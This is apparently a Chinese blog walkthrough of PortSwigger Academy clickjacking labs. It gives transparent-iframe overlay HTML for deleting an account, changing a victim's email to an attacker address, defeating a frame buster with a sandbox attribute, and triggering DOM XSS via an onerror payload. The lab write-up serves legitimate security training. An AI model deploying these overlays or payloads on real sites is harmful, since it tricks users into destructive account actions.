PortSwigger Labs 之 点击劫持利用

发布于:2025-07-20 ⋅ 阅读:(17) ⋅ 点赞:(0)

lab1 带有 csrf token 保护的基本点击劫持

实验一下点击劫持

此时 a 标签透明化了,看不到,但是点击 click me 会执行 a 标签的弹框

a 标签透明度置低后,badclick 显示出来了,由于 a 标签的样式 z-index:2,div 的 z-index: 1,数值大的,视觉层级置顶。所以点击时实际点击了看不见的 a 标签链接

回到 lab 中,加载一个带有加载 myaccount 的 iframe,并且设为透明,

<style>
  iframe {
    position:relative;/*相对定位是相对于元素自身在文档流中的原始位置进行偏移*/
    width:500px;
    height: 700px;
    opacity: 1; /*透明度*/
    z-index: 2;  /*视觉层级在最前面*/
  }
  div {
    position:absolute;/*绝对定位,需要依靠最近的相对定位元素,不占据文档空间,独立存在*/
    top:500px;
    left:60px;
    z-index: 1;/*当iframe透明度低时,div将被覆盖*/


  }
</style>
<div>Clickjacking</div>
<iframe src="https://0a98000503be89ae8219605d00a10096.web-security-academy.net/my-account"></iframe>

不透明是这样的

透明后 iframe 消失

实验中需要调整 div 的位置,top:500px;点击 store,view exploit,调整 div 的 top 属性值,将透明度设 0.1 方便观察位置,位置到大约 delete account 位置

Lab2 点击劫持改邮箱

调整位置放到 update email 的位置即可,下图因为试验成功后弹出成功标志,把 update 按钮顶下去了。

提交的 iframe 中插入修改邮箱的 url

        <style>
    iframe {
        position:relative;
        width: 500px;
        height: 700px;
        opacity:  0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0ab4002e03e2d5c382221f3c00830043.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

lab3 Clickjacking with a frame buster script

        <style>
    iframe {
        position:relative;
        width: 500px;
        height: 700px;
        opacity:  0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ab6001703d1c129823c334d00990089.web-security-academy.net/my-account?email=hacker@attacker-website.com""></iframe>

lab4 利用点击劫持触发 dom xss

测试输入后回显了 name

name 处输入<h1>aa</h1> 解析了 h1 标签

        <style>
    iframe {
        position:relative;
        width: 500px;
        height: 700px;
        opacity:  0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:610px;
        left:75px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0abc00e50372c49c80343a4c0026009a.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

lab5 多步骤点击劫持

这次需要点击劫持两次完成删除账户

<style>
	iframe {
		position:relative;
		width:500px;
		height: 700px;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:490;
		left:60;
		z-index: 1;
	}
   .secondClick {
		top:290;
		left:200;
	}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://0a8300060341c49f8082532e00070054.web-security-academy.net/my-account/my-account"></iframe>

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d


网站公告

今日签到

点亮在社区的每一天
去签到